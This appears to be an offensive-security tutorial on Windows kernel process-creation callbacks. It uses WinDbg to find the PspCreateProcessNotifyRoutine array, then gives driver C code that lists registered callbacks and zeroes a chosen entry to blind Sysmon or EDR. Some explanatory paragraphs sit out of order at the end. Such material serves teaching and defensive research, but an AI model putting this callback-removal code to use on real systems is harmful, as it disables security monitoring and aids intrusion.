Kernel callbacks provide a way for drivers to receive notifications when certain events occur. The more relevant ones from an attack/defence perspective are:
Process Notifications - called when a process is created or exits. These are useful for preventing the process from starting outright, or to inject a userland DLL (that can perform tasks such as API hooking) before control of the process is returned to the caller.
Thread Notifications - called when a new thread is created or deleted. These are useful for detecting/preventing some process injection techniques by looking for threads being created from one process to another.
LoadImage Notification - called when a DLL is mapped into memory of a process. These are useful for detecting/preventing suspicious image loads, such as the CLR being loaded into a native process, or modules synonymous with tools such as Mimikatz.
These are used rather extensively by AV, EDR and system monitoring applications - being a notable example. Attackers can use malicious drivers to manipulate or remove these notifications in an effort to blind AV/EDR.
Install Sysmon in your test VM:
C:\Users\Rasta\Downloads\SysinternalsSuite>Sysmon64.exe -i
System Monitor v15.11 - System activity monitor
By Mark Russinovich and Thomas Garnier
Copyright (C) 2014-2023 Microsoft Corporation
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.
Sysinternals - www.sysinternals.com
Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
Sysmon64 started.
PspCreateProcessNotifyRoutine Array
With the Sysmon driver installed, we'll be able to see its process notification callback in WinDbg.
When a driver registers this type of callback, a pointer to the callback function gets stored inside an in-memory array called PspCreateProcessNotifyRoutine. Each callback has its own array (e.g. PspCreateThreadNotifyRoutine and PspLoadImageNotifyRoutine). These arrays have a maximum size of 64.
Unfortunately, there's no API to get a pointer to these arrays. Instead, we have to find them in memory using WinDbg and calculate an offset from something that we can look up dynamically at runtime.
We can start by looking at the PsSetCreateProcessNotifyRoutine function.
kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff806`5d9991c0 4883ec28 sub rsp,28h
fffff806`5d9991c4 8ac2 mov al,dl
fffff806`5d9991c6 33d2 xor edx,edx
fffff806`5d9991c8 84c0 test al,al
fffff806`5d9991ca 0f95c2 setne dl
fffff806`5d9991cd e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff806`5d999388)
fffff806`5d9991d2 4883c428 add rsp,28h
fffff806`5d9991d6 c3 ret
Pretty quickly we see there's a call instruction to nt!PspSetCreateProcessNotifyRoutine. The address of which is 0xfffff8065d999388.
Note: This may be a jmp instruction on other Windows versions.
Unassemble this function until you see the first lea instruction.
LEA is short for Load Effective Address. This instruction is moving the address of the PspCreateProcessNotifyRoutine array into the R13 CPU register. Again, we can see the address is 0xfffff8065deec120.
Note: Another version of Windows may use a different register.
Reading this address will reveal the various callback pointers that have been registered.
In this example, there are 10 callbacks present, and the other entries are empty. Checking the last entry confirms that it's pointing somewhere inside the Sysmon driver.
The address of the PspCreateProcessNotifyRoutine array, 0xfffff8065deec120 in this case, will vary with every reboot. But it will always have the same offset from the PsSetCreateProcessNotifyRoutine function. In the example above, this was 0xfffff8065d9991c0. Subtract 0xfffff8065d9991c0 from 0xfffff8065deec120 and you get 0x552F60.
We could then loop over each index and print the callback address.
// create a pointer
ULONG64 arrayPointer = pspCreateProcessNotifyRoutineArray;
// loop over each array index
for (auto i = 0; i < 64; i++)
{
auto callbackAddress = *(PULONG64)(arrayPointer & 0xfffffffffffffff8);
// print address
KdPrint(("[%d] 0x%llx\n", i, callbackAddress));
// 64 bit addresses are 8 bytes
arrayPointer += 8;
}
Note: You'll need to add aux_klib.lib as an additional dependency to the driver project. Properties > Linker > Input.
// initialise library
status = AuxKlibInitialize();
if (!NT_SUCCESS(status))
{
KdPrint(("[!] AuxKlibInitialize failed: 0x%08X\n", status));
break;
}
We then need to run AuxKlibQueryModuleInformation twice - the first time to get the buffer size required to hold the requested information, and the second time to write that information. After the first call, szBuffer should hold a value that we use to allocate memory of sufficient size.
ULONG szBuffer = 0;
// run once to get required buffer size
status = AuxKlibQueryModuleInformation(
&szBuffer,
sizeof(AUX_MODULE_EXTENDED_INFO),
nullptr
);
if (!NT_SUCCESS(status))
{
KdPrint(("[!] AuxKlibQueryModuleInformation failed: 0x%08X\n", status));
break;
}
// allocate memory
auto modules = (PAUX_MODULE_EXTENDED_INFO)ExAllocatePool2(
POOL_FLAG_PAGED,
szBuffer,
MY_DRIVER_TAG
);
if (modules == nullptr)
{
KdPrint(("[!] PAUX_MODULE_EXTENDED_INFO was null.\n"));
status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
Once the memory has been allocated, zero it, and call AuxKlibQueryModuleInformation again. This time, rather than nullptr, we provide the pointer to the newly allocated memory.
// zero the memory
RtlZeroMemory(modules, szBuffer);
// run again to get the info
status = AuxKlibQueryModuleInformation(
&szBuffer,
sizeof(AUX_MODULE_EXTENDED_INFO),
modules
);
if (!NT_SUCCESS(status))
{
KdPrint(("[!] AuxKlibQueryModuleInformation failed.\n"));
break;
}
We can calculate the total number of modules based on the buffer size and the size of an individual entry.
// calculate number of modules
auto numberOfModules = szBuffer / sizeof(AUX_MODULE_EXTENDED_INFO);
We now need two embedded loops. We want to loop over every callback entry in the array, obtain the raw pointer to its callback function, and print the address. We then want to loop over each module and check to see whether or not the callback pointer lands in the range of the module's start and end address. If it does, print the module's full path.
// create a pointer
ULONG64 arrayPointer = pspCreateProcessNotifyRoutineArray;
// loop over each array index
for (auto i = 0; i < 64; i++)
{
ULONG64 callbackAddress = *(PULONG64)(arrayPointer);
// only dereference if not null
if (callbackAddress > 0)
{
ULONG64 rawPointer = *(PULONG64)(callbackAddress & 0xfffffffffffffff8);
// print address
KdPrint(("[%d] 0x%llx", i, rawPointer));
// loop over each module to find where this address belongs
for (auto m = 0; m < numberOfModules; m++)
{
auto startAddress = (ULONG64)modules[m].BasicInfo.ImageBase;
auto endAddress = (ULONG64)(startAddress + modules[m].ImageSize);
if (rawPointer > startAddress && rawPointer < endAddress)
{
// print module name
KdPrint((" (%s)\n", modules[m].FullPathName));
// break from loop
break;
}
}
}
// 64 bit addresses are 8 bytes
arrayPointer += 8;
}
// free memory
ExFreePoolWithTag(modules, MY_DRIVER_TAG);
After we've completed all of the loops, free the memory holding the module information. The output will look like this:
Now that we have the driver collecting the desired information correctly, we want to send it back to the client instead of printing it in the debugger. To facilitate that, we can use the following struct in common.h.
In the client, we can simply create an instance of this structure large enough to fit 64 entries. Then iterate over each one and print the address and module.
// create structure large enough
// for max 64 callbacks
CALLBACK_INFORMATION callbacks[64];
RtlZeroMemory(callbacks, sizeof(callbacks));
success = DeviceIoControl(
hDriver,
MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS,
nullptr,
0,
&callbacks,
sizeof(callbacks),
nullptr,
nullptr
);
if (success) {
printf("success\n");
// loop over each one
for (auto i = 0; i < 64; i++)
{
// skip if callback is zero
if (callbacks[i].Address == 0) {
continue;
}
// print
printf("[%d] 0x%llx (%s)\n", i, callbacks[i].Address, callbacks[i].Module);
}
}
In the driver, carry out the usual checks on the user-supplied buffer.
// check buffer size
if (stack->Parameters.DeviceIoControl.OutputBufferLength < (sizeof(CALLBACK_INFORMATION) * 64))
{
KdPrint(("[!] Buffer too small to hold CALLBACK_INFORMATION\n"));
status = STATUS_BUFFER_TOO_SMALL;
break;
}
// cast
PCALLBACK_INFORMATION callbackInfo = (PCALLBACK_INFORMATION)Irp->UserBuffer;
if (callbackInfo == nullptr)
{
KdPrint(("[!] PCALLBACK_INFORMATION was null.\n"));
status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
Then just fill in the information from the existing loops.
// loop over each array index
for (auto i = 0; i < 64; i++)
{
ULONG64 callbackAddress = *(PULONG64)(arrayPointer);
// only dereference if not null
if (callbackAddress > 0)
{
ULONG64 rawPointer = *(PULONG64)(callbackAddress & 0xfffffffffffffff8);
// KdPrint(("[%d] 0x%llx", i, rawPointer));
// set callback address
callbackInfo[i].Address = rawPointer;
// loop over each module to find where this address belongs
for (auto m = 0; m < numberOfModules; m++)
{
auto startAddress = (ULONG64)modules[m].BasicInfo.ImageBase;
auto endAddress = (ULONG64)(startAddress + modules[m].ImageSize);
if (rawPointer > startAddress && rawPointer < endAddress)
{
// KdPrint((" (%s)\n", modules[m].FullPathName));
// copy module path string
strcpy(callbackInfo[i].Module, (char*)(modules[m].FullPathName + modules[m].FileNameOffset));
// break from loop
break;
}
}
// increment the length of data
// we're sending back
length += sizeof(CALLBACK_INFORMATION);
}
// 64 bit addresses are 8 bytes
arrayPointer += 8;
}
As attackers, one tactic that we can employ to disable a given callback is to zero out the entry in the array. Let's try this out against Sysmon. The easiest way to target a particular callback is by using its index number in the array. In the previous section, we saw that SysmonDrv was at index 5.
[5] 0xfffff80526cf9f70 (SysmonDrv.sys)
We can utilize a struct similar to what we've used before to send this index from the client to the driver.
typedef struct _TARGET_CALLBACK {
int Index;
} TARGET_CALLBACK, * PTARGET_CALLBACK;
The driver code should also be easy to follow at this point. After verifying the input buffer size and sanity checking that the provided index is between 0 and 63, we calculate the memory address holding the callback pointer. Once we have the target address, we just write 0x0 into it.
case MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK:
{
KdPrint(("[+] Hello from MY_DRIVER_IOCTL_ZERO_PROCESS_CALLBACK\n"));
// check buffer length
if (stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(TARGET_CALLBACK))
{
KdPrint(("[!] Buffer too small to hold TARGET_CALLBACK\n"));
status = STATUS_BUFFER_TOO_SMALL;
break;
}
// cast
PTARGET_CALLBACK targetCallback = (PTARGET_CALLBACK)stack->Parameters.DeviceIoControl.Type3InputBuffer;
if (targetCallback == nullptr)
{
KdPrint(("[!] PTARGET_CALLBACK was null.\n"));
status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
// sanity check value
if (targetCallback->Index < 0 || targetCallback->Index >= 64)
{
KdPrint(("[!] Index %d is invalid\n", targetCallback->Index));
status = STATUS_INVALID_PARAMETER;
break;
}
// find process callback array
ULONG64 psSetCreateProcessNotifyRoutine = GetSystemRoutineAddress(L"PsSetCreateProcessNotifyRoutine");
KdPrint(("[+] PsSetCreateProcessNotifyRoutine @ 0x%llx\n", psSetCreateProcessNotifyRoutine));
ULONG64 pspCreateProcessNotifyRoutineArray = psSetCreateProcessNotifyRoutine + PROCESS_NOTIFY_OFFSET;
KdPrint(("[+] PspCreateProcessNotifyRoutine @ 0x%llx\n", pspCreateProcessNotifyRoutineArray));
// calculate address
ULONG64 pCallback = pspCreateProcessNotifyRoutineArray + (targetCallback->Index * 8);
// write 0x0
*(PULONG64)(pCallback) = (ULONG64)0x0;
break;
}
For demonstration purposes, I have hardcoded 2 calls to MY_DRIVER_IOCTL_LIST_PROCESS_CALLBACKS so we can see the difference.
You will also be able to verify that this works by clearing the existing Sysmon log in the Event Viewer and observing that no new process creation events will be created.
The value ffff998f23df630f is not a pointer, it's a handle, so we have to AND it with fffffffffffffff8 to convert it into a raw pointer. explains it in more detail.
We can get the address for PsSetCreateProcessNotifyRoutine at runtime using the API. This helper function will add some reusability.
Now that we can reliably get the location of the PspCreateProcessNotifyRoutine array, we want to enumerate some information about each callback, such as which driver they belong to. The API can be used to get the base address, image size and path of each loaded module. Based on that, we can figure out which module a particular callback function exists in by looking to see if the address is within the address range of a module.
The documentation for the Aux Library can be found .